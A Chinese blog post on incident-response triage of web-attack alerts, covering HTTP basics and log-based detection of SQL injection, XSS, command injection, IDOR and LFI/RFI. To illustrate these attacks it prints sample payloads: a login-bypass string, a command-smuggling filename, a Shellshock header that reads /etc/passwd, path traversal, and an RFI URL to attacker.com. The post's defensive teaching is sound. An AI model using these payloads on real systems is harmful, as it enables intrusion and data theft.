通用web漏洞应急排查思路(一)
应急响应日常处置告警时打交道最多的就是各类 Web 攻击。每次拿到一条告警,第一个问题往往是:这是真实攻击吗?攻击成功了吗?要回答这两个问题,得先搞清楚 Web 应用的底层通信机制,然后才能谈怎么在日志里找到蛛丝马迹,提升排查效率。
Web 应用通信原理
要发现异常,首先得知道”正常”长什么样。Web 应用使用 HTTP 协议通信,它位于 OSI 模型的第 7 层(应用层)。在 HTTP 工作之前,Ethernet、IP、TCP、SSL 这些协议已经在底层各司其职了。
HTTP 的通信模式很简单:客户端发出请求,服务端处理后返回响应。
HTTP 请求的结构包含三部分:请求行、请求头、请求体。请求行里有 HTTP 方法(GET/POST 等)和目标资源路径;请求头携带了一堆服务端需要处理的元信息;请求体则是要发给服务端的数据。
几个在应急分析中特别有价值的请求头:
- Host:现在一台服务器上可能跑着多个域名,浏览器用这个头告诉服务器你想访问哪个站。
- Cookie:Web 应用把会话信息存在这里,你不需要每次都重新登录就是靠它。
- User-Agent:记录了客户端的浏览器和操作系统信息。值得注意的是,自动化扫描工具的 User-Agent 往往和正常浏览器不一样,这是识别自动化攻击的重要线索。
- Connection:
close表示收到响应后关闭 TCP 连接,keep-alive表示保持连接。
HTTP 响应同样分三部分:状态行(含状态码)、响应头、响应体。状态码分几个大类:1xx 是信息性响应,2xx 表示成功,3xx 是重定向,4xx 是客户端错误,5xx 是服务端错误。响应头里的 Content-Length 在判断 IDOR 攻击是否成功时很有用,后面会讲到。
SQL 注入
什么是 SQL 注入
SQL 注入(SQLi)发生在 Web 应用把用户输入的数据未经过滤就直接拼进 SQL 查询语句时。
按照数据传输的方式,SQL 注入大致分三类:
- In-band SQLi(经典型):攻击请求和结果通过同一个通道传输,最容易利用。
- Inferential SQLi(盲注):攻击者看不到直接的查询结果,只能通过应用的行为差异来推断数据库的信息。
- Out-of-band SQLi(带外型):查询结果通过另一个通道带出,比如通过 DNS 请求把数据传回攻击者。
攻击原理
登录页面是 SQL 注入的高发地带。正常情况下,应用会构造这样的查询:
SELECT * FROM users WHERE username = 'john' AND password = 'supersecretpassword'
如果攻击者在用户名输入框填入 ' OR 1=1 -- -,最终执行的 SQL 变成:
SELECT * FROM users WHERE username = '' OR 1=1 -- - AND password = 'supersecretpassword'
-- - 之后的内容在 SQL 里是注释,会被忽略。1=1 永远为真,所以这个查询永远成立,攻击者不需要知道任何用户名和密码就能登录。
成功的 SQL 注入可以导致:认证绕过、在系统上执行命令(通过 xp_cmdshell 等)、窃取敏感数据、篡改或删除数据库记录。
怎么在日志里发现 SQL 注入
检测时几个要点:
- 不要只看表单字段,
User-Agent这类请求头同样可以作为注入点。 - 找 SQL 关键词:
INSERT、SELECT、WHERE、UNION等词出现在用户输入里就要警惕。 - 找特殊字符:单引号
'、短横线-、括号等 SQL 常用符号。 - URL 解码再看:日志里大量的
%XX序列是 URL 编码,解码后往往一目了然。
看到日志里请求 URL 包含大量 % 符号,解码之后出现 UNION、SELECT、AND、CHR 这样的词,基本可以断定是 SQL 注入。
判断是否是自动化工具:
- User-Agent 里直接带有工具名称(如 sqlmap)
- 每秒请求数异常高(正常用户每秒大约 1 个请求,自动化工具可能每秒 50 个以上)
- Payload 异常复杂,像是工具生成的而非手工构造的
判断攻击是否成功:直接看响应内容是最准确的,但实际工作中往往没有响应内容。可以退而求其次,观察响应大小(Content-Length)是否在某个时间点出现明显异常,如果某次响应比其他请求大出很多,有理由怀疑数据被成功提取。
XSS跨站脚本攻击
三种类型
XSS(跨站脚本)允许攻击者在受害者的浏览器里执行恶意代码:
- Reflected XSS(反射型):恶意脚本通过 URL 参数传入,服务端把它原样”反射”回响应里,不会持久存储。
- Stored XSS(存储型):恶意脚本被永久保存在服务器上(比如数据库),每个访问该页面的用户都会被执行。这是危害最大的一种。
- DOM Based XSS:漏洞完全在客户端,攻击者通过修改 DOM 环境来触发脚本执行,不经过服务端。
攻击者能拿到什么
XSS 是客户端攻击,有人会觉得它没有服务端漏洞严重,但这个认知是错的。攻击者可以通过 XSS 窃取用户的 Session Cookie(相当于直接拿到登录态)、捕获键盘输入(包括密码),甚至把用户重定向到钓鱼页面。
检测方法
- 找关键词:
alert、script、prompt、console.log,这些词出现在请求参数里是典型特征。 - 找特殊字符:
<(%3C)和>(%3E)是 HTML 标签的边界符,也是 XSS payload 的常见成分。 - URL 解码后再分析:日志里的
%3Cscript%3E解码后是<script>,不解码很可能看漏。
实际案例:在一份 Apache 访问日志里,所有请求都指向 WordPress 的 /blog/ 页面,只有 ?s= 参数在变化。URL 解码后,参数里清晰地出现了 XSS payload,一目了然。
请求时间方面,每 3-4 秒一个请求,加上 User-Agent 显示是 urllib 库而不是正常浏览器,可以判断是自动化扫描工具在跑,不是人工手测。
命令注入
命令注入比 XSS 和 SQL 注入更直接——攻击者的目标是在服务器的操作系统上执行任意命令。
举个例子:一个 Web 应用会把用户上传的文件名拼进 shell 命令来执行复制操作。如果用户上传了一个名为 zgao;ls;.txt 的文件,实际执行的命令就变成了:
cp zgao ls .txt
分号 ; 是命令分隔符。操作系统会依次执行三条命令,其中 ls 是攻击者塞进去的。如果攻击者把文件命名为 zgao;shutdown;.txt,服务器就会被关机。更极端的情况是,攻击者通过这种方式建立反弹 Shell,直接拿到服务器的交互式控制权。
这类漏洞之所以危害极大,是因为攻击者获得的权限通常就是 Web 应用用户的权限。如果应用配置不当,那就是管理员权限。
检测要点
- 检查所有请求字段,不只是 URL 参数,请求头同样可以是注入点。
- 找终端命令关键词:
ls、dir、cat、cp、type、whoami等出现在用户输入里要高度警惕。 - 了解常见 payload:攻击者发现漏洞后通常会尝试建立反弹 Shell,熟悉这些 payload 有助于判断攻击意图。
真实案例 — Shellshock:
GET / HTTP/1.1
Host: yourcompany.com
User-Agent: () {:;}; echo "NS:" $(</etc/passwd)
这是 2014 年曝光的 Shellshock 漏洞的利用方式。攻击者把 bash 命令藏在 User-Agent 头里,利用 bash 对环境变量的错误处理机制,成功在服务端执行了命令——/etc/passwd 文件的内容被带出并通过 HTTP 响应头返回给攻击者。
User-Agent 里出现 bash 命令语法,这就是典型的命令注入特征,值得在日志分析中重点关注。
IDOR访问控制漏洞
什么是 IDOR
IDOR(不安全的直接对象引用)是 OWASP 定义的”失效访问控制”类别下的一种漏洞。漏洞的本质是:应用直接用用户传入的参数去引用数据库对象,却没有验证当前用户是否有权访问该对象。
攻击者只需要把请求里的 ?user_id=123 改成 ?user_id=124,就可能看到别人的数据。
为什么难检测
IDOR 没有像 SQL 注入那样的特殊字符,也没有像 XSS 那样的脚本标签,请求看起来完全”合法”,这让基于 payload 特征的检测方法基本失效。
另一个现实问题:HTTP 响应通常不会被记录进访问日志,而判断 IDOR 是否成功恰恰需要看响应内容。
实用检测策略
- 检查所有参数,IDOR 可以藏在任何地方,不要只盯着明显的 ID 参数。
- 看同一页面的请求数量:攻击者发现 IDOR 后通常会暴力枚举所有用户的数据,同一个端点在短时间内出现大量来自同一源 IP 的请求是明显异常。
- 找规律:
id=1, id=2, id=3这种连续递增的参数值,几乎可以断定是枚举行为。 - 响应大小是关键辅助指标:如果日志里记录了响应大小(
Content-Length),对比不同请求的响应大小可以推断攻击是否获取到了数据——响应体明显更大往往意味着数据被成功返回。
实际案例:WordPress 的 wp-admin/user-edit.php?user_id= 这个页面包含注册用户的信息。日志里出现了来自同一 IP 的大量请求,user_id 参数从 1 一路递增到很大的数字,这是典型的 IDOR 枚举攻击。
文件包含(LFI/RFI)
LFI 与 RFI 的区别
- LFI(本地文件包含):攻击者通过操控参数,让服务端读取并包含服务器上本地的文件,比如
/etc/passwd。 - RFI(远程文件包含):攻击者让服务端去加载并执行托管在远程服务器上的恶意文件。
两者的共同根源都是:用户输入的数据未经过滤就被用于文件包含操作。
攻击原理
举个 LFI 的例子,一个 Web 应用根据 language 参数加载对应的语言文件:
- 正常请求:
?language=en→ 加载website/en/home.php - 攻击 payload:
?language=/../../../../../../../../../etc/passwd%00→ 实际加载/etc/passwd
../ 用于向上跳目录,攻击者反复跳直到到达根目录,然后直接指定目标文件路径。末尾的 %00 是空字节,用于截断后面的字符串,让 /home.php 不被拼接进去(在较旧的 PHP 版本中有效)。
RFI 则是把远程 URL 塞进参数:?language=http://attacker.com/shell.php,服务端会把攻击者控制的脚本下载并执行。
成功的文件包含攻击可以导致:任意代码执行、敏感信息泄露、拒绝服务。
检测要点
- 找路径穿越字符:
../、..\、/出现在参数值里是高度可疑的信号。 - 认识常见的敏感文件路径:
/etc/passwd、/etc/shadow、/proc/self/environ、C:\windows\system32\drivers\etc\hosts等,这些路径出现在请求里几乎是 LFI 的铁证。 - 找 HTTP/HTTPS 关键词:参数里出现
http://或https://是 RFI 的典型标志,因为攻击者需要提供远程文件的地址。
总结
处理 Web 攻击告警,不管是哪种类型,有几个通用的思路我觉得值得记住:
URL 解码是第一步。日志里充斥着 %XX 编码,不解码无法分析。不要把访问日志上传到第三方在线解码工具,那是真实数据,涉及敏感信息。
User-Agent 要纳入分析范围。很多人只看 URL 参数,但 User-Agent 同样可以作为注入点,也是识别自动化工具的重要字段。工具名直接写在 User-Agent 里的情况并不罕见。
请求频率是判断自动化攻击的有效指标。正常用户每秒大概发 1 个请求,自动化扫描工具每秒可以发几十上百个。同一秒内出现 50+ 条相同类型的请求,基本可以排除手工测试的可能性。
响应大小有时比响应内容更有价值。很多环境不记录完整的 HTTP 响应体,但 access log 通常会记录响应大小。对比不同请求的响应大小异常,是判断某次攻击是否成功的重要手段,尤其在分析 SQL 注入和 IDOR 时。
无法确定攻击是否成功,就升级处置。很多时候证据不够充分,这时候不要自己硬判,上报给高级分析师是正确的选择。
赞赏
微信赞赏
支付宝赞赏
发表评论